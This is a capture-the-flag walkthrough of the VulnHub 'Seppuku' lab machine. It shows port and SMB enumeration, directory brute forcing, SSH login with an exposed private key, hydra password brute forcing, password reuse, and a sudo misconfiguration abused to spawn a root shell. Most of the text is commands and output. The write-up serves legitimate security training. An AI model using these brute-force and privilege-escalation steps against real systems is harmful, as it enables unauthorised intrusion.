VulnHub | Seppuku
Box Information
Name: | Seppuku_CTF |
---|---|
Release Date: | 13 May 2020 |
OS: | Linux |
Difficulty: | Intermediate->Hard |
Creator: | SunCSR Team |
Download: | VulnHub |
Initial Recon
nmap
Using nmap
we see open TCP ports, 21 (FTP), 22 (SSH), 80 (nginx HTTP), 139/445 (SMB), 8088 (LiteSpeed HTTP)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8088/tcp open radan-http
There were also additional ports revealed in a full port (-p-
) scan and one is another webserver on port 7601:
7080/tcp open empowerid
7601/tcp open unknown
SMB Enumeration
Knowing that there’s SMB on this system we can use a tool like enum4linux
to try and get something. This tool is “loud” but because we’re not concerned with our footprint, it’s safe to use in this case. There are many ways of enumerating SMB (nmap scripts, smbmap, nbtscan, etc).
users
Using enum4linux
, we were able to determine the existence of several user accounts on this machine:
S-1-22-1-1000 Unix User\seppuku (Local User)
S-1-22-1-1001 Unix User\samurai (Local User)
S-1-22-1-1002 Unix User\tanto (Local User)
I tried using these user names with smbmap to try and see if we could see some shares that we could potentially access/connect to - but there was nothing that didn’t require authentication. So for now, we’re putting SMB on hold while we look elsewhere.
Web Servers
port 80
When trying to access the IP on port 80, we’re met with a basic HTTP authentication prompt that restricts us from viewing the page. However, there were several other ports running HTTP services.
port 7601
I’m able to access the page on this port, it’s just an image with no other useful HTML or path hints. So I ran gobuster
to try and brute force some directories:
kali@kali:~/tools/192.168.136.90/nmap$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://192.168.136.90:7601/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.136.90:7601/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/06/05 13:16:59 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 281]
/.htaccess (Status: 403) [Size: 281]
/.htpasswd (Status: 403) [Size: 281]
/a (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/a/]
/b (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/b/]
/c (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/c/]
/ckeditor (Status: 301) [Size: 326] [--> http://192.168.136.90:7601/ckeditor/]
/d (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/d/]
/database (Status: 301) [Size: 326] [--> http://192.168.136.90:7601/database/]
/e (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/e/]
/f (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/f/]
/h (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/h/]
/index.html (Status: 200) [Size: 171]
/keys (Status: 301) [Size: 322] [--> http://192.168.136.90:7601/keys/]
/production (Status: 301) [Size: 328] [--> http://192.168.136.90:7601/production/]
/q (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/q/]
/r (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/r/]
/secret (Status: 301) [Size: 324] [--> http://192.168.136.90:7601/secret/]
/server-status (Status: 403) [Size: 281]
/t (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/t/]
/w (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/w/]
There are a few directories that stick out as good starting points for us:
/ckeditor
/database
/keys
/production
/secret
We could try looking at all of them but really, secret
and keys
are the first things I’m going to look into.
/keys
By navigating to this directory on the port 7601 server, we see two files “private” and “private.bak”
They’re private RSA keys, but we’d need to know a username that it goes with. However, remember earlier when we enumerated SMB, we were able to extract 3 users from this system: seppuku
, samurai
, and tanto
. We could try these usernames to see if any of them allow us to SSH into the box.
SSH and Foothold
We have an SSH key, and 3 users it could potentially belong to. The next thing I did was try this key with different usernames to see if any would stick and allow us SSH access into this machine.
seppuku
kali@kali:~$ ssh -i sep seppuku@192.168.136.90
The authenticity of host '192.168.136.90 (192.168.136.90)' can't be established.
ECDSA key fingerprint is SHA256:RltTwzbYqqcBz4/ww5KEokNttE+fZwM7l4bvzFaf558.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.136.90' (ECDSA) to the list of known hosts.
seppuku@192.168.136.90's password:
samurai
kali@kali:~$ ssh -i sep samurai@192.168.136.90
samurai@192.168.136.90's password:
tanto
kali@kali:~$ ssh -i sep tanto@192.168.136.90
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tanto@seppuku:~$
NICE.
First Flag
tanto User
Normally our flag would be in the home directory of the user account we used to gain our foothold:
tanto@seppuku:~$ ls -al
total 28
drwxr-xr-x 4 tanto tanto 4096 Sep 1 2020 .
drwxr-xr-x 5 root root 4096 May 13 2020 ..
-rw-r--r-- 1 tanto tanto 220 May 13 2020 .bash_logout
-rw-r--r-- 1 tanto tanto 3526 May 13 2020 .bashrc
drwx------ 3 tanto tanto 4096 May 13 2020 .gnupg
-rw-r--r-- 1 tanto tanto 807 May 13 2020 .profile
drwxr-xr-x 2 tanto tanto 4096 May 13 2020 .ssh
But it’s not here. Not a big deal. We know the first flag is always a file called “local.txt” so we can just search for it.
Find…ing our prize.
When you run a command like find
in linux, it tends to generate a LOT of “Permission denied” errors like this:
tanto@seppuku:~$ find / -name "local.txt"
find: ‘/root’: Permission denied
find: ‘/etc/ssl/private’: Permission denied
find: ‘/usr/local/lsws/phpbuild’: Permission denied
find: ‘/usr/local/lsws/admin/conf’: Permission denied
find: ‘/usr/local/lsws/admin/tmp’: Permission denied
find: ‘/usr/local/lsws/admin/cgid’: Permission denied
find: ‘/usr/local/lsws/conf’: Permission denied
find: ‘/usr/local/lsws/tmp/ocspcache’: Permission denied
find: ‘/usr/local/lsws/cgid’: Permission denied
find: ‘/lost+found’: Permission denied
find: ‘/tmp/lshttpd/swap’: Permission denied
find: ‘/tmp/vmware-root_388-599887931’: Permission denied
find: ‘/tmp/systemd-private-9012a15016804c549f6be1c76ce1a543-systemd-timesyncd.service-W7CixR’: Permission denied
find: ‘/tmp/systemd-private-9012a15016804c549f6be1c76ce1a543-apache2.service-bVq1hc’: Permission denied
find: ‘/sys/kernel/debug’: Permission denied
find: ‘/sys/fs/pstore’: Permission denied
find: ‘/sys/fs/bpf’: Permission denied
To get around this, we can send all errors, 2
, to /dev/null
which essentially eliminates them from showing up on the standard output. You can read about it a little, here.
Find…ing our prize (but for real).
tanto@seppuku:~$ find / -name "local.txt" 2>/dev/null
/home/seppuku/local.txt
Much better, so from there we can just cat
it out and we’re done with the first half of owning this box.
Further Recon
So I think I wasn’t necessarily supposed to access this tanto
user account first… Since the flag was in seppuku
’s home directory, it tells me I should try gaining access to that user account. So let’s go back to our website on port 7601.
/secret
Okay back on the webserver, we can navigate to this directory and see a few files.
The hostname
file just says “seppuku” and there are backups (.bak) of a shadow
and passwd
file but looking at them shows a user account called “rabbit-hole” so… yeah… ignoring those for now. The last two interesting files are a picture, jack.jpg
and a password list, password.lst
. Since we know tanto
can be accessed with that ssh key, we can take an educated guess (from the Jack the Ripper pic) that one of the last two accounts, seppuku
and samurai
, is supposed to be brute forced using this password list. Instead of using Jack/John, we can just use hydra
built in module to brute force an ssh login like this (we’ll start with seppuku
since it was listed in that hostname file):
kali@kali:~$ hydra -l seppuku -P ~/password.lst 192.168.136.90 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-05 13:57:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 93 login tries (l:1/p:93), ~6 tries per task
[DATA] attacking ssh://192.168.136.90:22/
[22][ssh] host: 192.168.136.90 login: seppuku password: eeyoree
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-05 13:58:10
seppuku User
With the password we got from hydra
, let’s SSH again into this machine and see what else we can find. Once we’re back onto the box with the seppuku
user, we can do some more enumeration:
seppuku@seppuku:~$ ls -al
total 32
drwxr-xr-x 3 seppuku seppuku 4096 Sep 1 2020 .
drwxr-xr-x 5 root root 4096 May 13 2020 ..
-rw-r--r-- 1 seppuku seppuku 220 May 13 2020 .bash_logout
-rw-r--r-- 1 seppuku seppuku 3526 May 13 2020 .bashrc
drwx------ 3 seppuku seppuku 4096 May 13 2020 .gnupg
-rw-r--r-- 1 seppuku seppuku 33 Jun 5 12:46 local.txt
-rw-r--r-- 1 root root 20 May 13 2020 .passwd
-rw-r--r-- 1 seppuku seppuku 807 May 13 2020 .profile
Can we Sudo?
On tanto
we didn’t have a password to check for sudo -l
but on this account we are able to see something interesting:
seppuku@seppuku:~$ sudo -l
...
User seppuku may run the following commands on seppuku:
(ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/
This command allows us to make a symbolic link of the /root
directory to /tmp
So running sudo /usr/bin/ln -sf /root/ /tmp/
allows us to essentially browse whatever is in /root by looking in /tmp. However, even after making the symbolic link we can’t access what we need (proof.txt aka the flag). So let’s keep going with other stuff we can check.
.passwd
We already got local.txt
earlier (oops), but we also can see this .passwd
file and when we cat
it out,
seppuku@seppuku:~$ cat .passwd
12345685213456!@!@A
We’ve gained access to 2 of the 3 user accounts on this machine, so let’s just see if that string is by chance the password to our last user account, samurai
.
seppuku@seppuku:~$ su samurai
Password:
samurai@seppuku:/home/seppuku$
samurai User
Can we Sudo?
samurai@seppuku:/home/seppuku$ sudo -l
...
User samurai may run the following commands on seppuku:
(ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
This is… interesting, because we just ran a command on seppuku
that created a symbolic link to /tmp
from the /root
directory. But when we try running it,
samurai@seppuku:/home/seppuku$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
sudo: /../../../../../../home/tanto/.cgi_bin/bin: command not found
Okay, so we need a bin
executable in tanto
home directory that is inside a .cgi-bin
folder. Our path to root is clear at this point but let’s reflect a little.
What do we need to do?
Let’s take a moment to pause here and think about everything we’ve discovered, and how we can use all of our knowledge to form a plan to gain root access to this box.
.cgi_bin/bin
We know that whatever binary we make will run at ROOT level privilege thanks to Sudo. So it would make sense to just have a simple script that invokes a bash shell under those privileges. Something simple like
/bin/bash
should work. However, we need to swap back to the tanto
user to make the directories and files we need. Once we’ve crafted the binary, we grant full access globally (chmod 777). Then we call the binary from our samurai
user.
Privilege Escalation
First thing we need to do is make the .cgi_bin
directory on our tanto
account and create that binary:
tanto@seppuku:~$ mkdir .cgi_bin
tanto@seppuku:~$ cd .cgi_bin/
tanto@seppuku:~/.cgi_bin$ touch bin
tanto@seppuku:~/.cgi_bin$ echo '
> /bin/bash' > bin
tanto@seppuku:~/.cgi_bin$ cat bin
/bin/bash
tanto@seppuku:~/.cgi_bin$
root User and Flag
At this point, the last step is to run that sudo command from samurai
and we should have root access:
samurai@seppuku:/home/seppuku$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
root@seppuku:/home/seppuku# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@seppuku:/home/seppuku#
And we’re done! All that’s left is to do something like cat /root/*.txt
to get our root flag.